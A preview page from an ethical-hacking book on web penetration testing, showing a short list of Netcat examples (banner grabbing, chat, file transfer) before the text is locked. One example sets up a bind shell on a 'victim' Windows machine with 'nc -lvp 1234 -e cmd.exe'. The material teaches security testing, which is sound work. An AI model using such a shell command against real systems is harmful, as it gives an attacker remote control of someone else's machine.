Reader small image

You're reading from  Practical Web Penetration Testing

Product typeBook
Published inJun 2018
PublisherPackt
ISBN-139781788624039
Edition1st Edition
Right arrow
Author (1)
Gus Khawaja
Gus Khawaja
author image
Gus Khawaja

Gus Khawaja holds a bachelor's degree in computer science. He specializes in IT security and ethical hacking. He is an author and shares his passion with millions of viewers around the world using his online courses. He also works as a cybersecurity consultant in Montreal, Canada. After many years of experience in programming, he turned his attention to cybersecurity and the importance that security brings to this minefield. His passion for the ethical hacking mixed with his background in programming and IT makes him a wise swiss-knife professional in the computer science domain.
Read more about Gus Khawaja

Right arrow

Practical examples

You've seen how to use Netcat in this book. In the following list, you will see a few popular, practical examples:

  • Banner grabbing (HTTP):
nc -vn 10.1.1.100 80
After pressing the Enter key to execute the command, type anything, such as Hello SERVER. Then the server will send back the banner header.
  • Simple chatting: Start typing the message that should be sent to the other party on any side:
    • Set up and listen on one side:
nc -v -lp 1234
    • On the other side, connect to the listener:
nc -v [Remote IP] 1234
  • Transfer files:
    • Listen on one side:
nc -vn -lp 1234 > file.txt
    • Send the file from the other end:
nc -vn <other side remote IP> 1234 < file.txt
  • Binding a shell:
    • Assuming that the victim is the Windows machine, start listening:
nc -lvp 1234 -e cmd.exe
    • Connect to the victim host from the attacker machine:
nc -vn...
lock icon
The rest of the page is locked
Previous PageNext Chapter
You have been reading a chapter from
Practical Web Penetration Testing
Published in: Jun 2018Publisher: PacktISBN-13: 9781788624039

Author (1)

author image
Gus Khawaja

Gus Khawaja holds a bachelor's degree in computer science. He specializes in IT security and ethical hacking. He is an author and shares his passion with millions of viewers around the world using his online courses. He also works as a cybersecurity consultant in Montreal, Canada. After many years of experience in programming, he turned his attention to cybersecurity and the importance that security brings to this minefield. His passion for the ethical hacking mixed with his background in programming and IT makes him a wise swiss-knife professional in the computer science domain.
Read more about Gus Khawaja